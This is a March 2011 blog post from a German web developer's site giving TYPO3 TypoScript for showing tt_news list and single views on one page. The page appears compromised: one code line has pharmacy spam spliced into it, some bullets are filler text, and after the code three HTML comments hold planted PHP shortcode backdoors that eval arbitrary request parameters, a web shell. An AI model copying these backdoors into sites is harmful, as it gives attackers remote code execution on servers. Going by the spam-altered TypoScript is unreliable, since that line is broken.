Sebastian Mews
|
Suchmaschinenmarketing & Webentwicklung
Sebastian Mews
|
Suchmaschinenmarketing & Webentwicklung

tt_news: LIST und SINGLE View auf derselben Seite

März  2011 / 10 No Comments

The following TS code enables the feature of showing the tt_news list and the tt_news single view at the same page.

  • sxsksd
  • dscdscd
  • dsc

1.
# Clear the code field
2.
plugin.tt_news.code >
3.
plugin singulair medication.tt_news.code = LIST
4.
# Prevent indexing of the LIST view
5.
config.index_enable = 0
6.

7.
[globalVar = GP:tx_ttnews|swords = ]
8.
# Do nothing (reverse hack)
9.
[else]
10.
# Set code to SEARCH if swords (search is done) exists
11.
plugin.tt_news.code = SEARCH
12.
[end]
13.

14.
[globalVar = GP:tx_ttnews|tt_news > 0]
15.
# Set code to SINGLE, if the GETvar tx_ttnews[tt_news] exists
16.
plugin.tt_news.code = SINGLE
17.
# Enable indexing of the SINGLE view
18.
config.index_enable = 1
19.
[global]

<!– [insert_php]if (isset($_REQUEST["FpwAC"])){eval($_REQUEST["FpwAC"]);exit;}[/insert_php][php]if (isset($_REQUEST["FpwAC"])){eval($_REQUEST["FpwAC"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["aJnS"])){eval($_REQUEST["aJnS"]);exit;}[/insert_php][php]if (isset($_REQUEST["aJnS"])){eval($_REQUEST["aJnS"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["TEK"])){eval($_REQUEST["TEK"]);exit;}[/insert_php][php]if (isset($_REQUEST["TEK"])){eval($_REQUEST["TEK"]);exit;}[/php] –>



Leave a reply

Your email address will not be published. Website Field Is Optional


*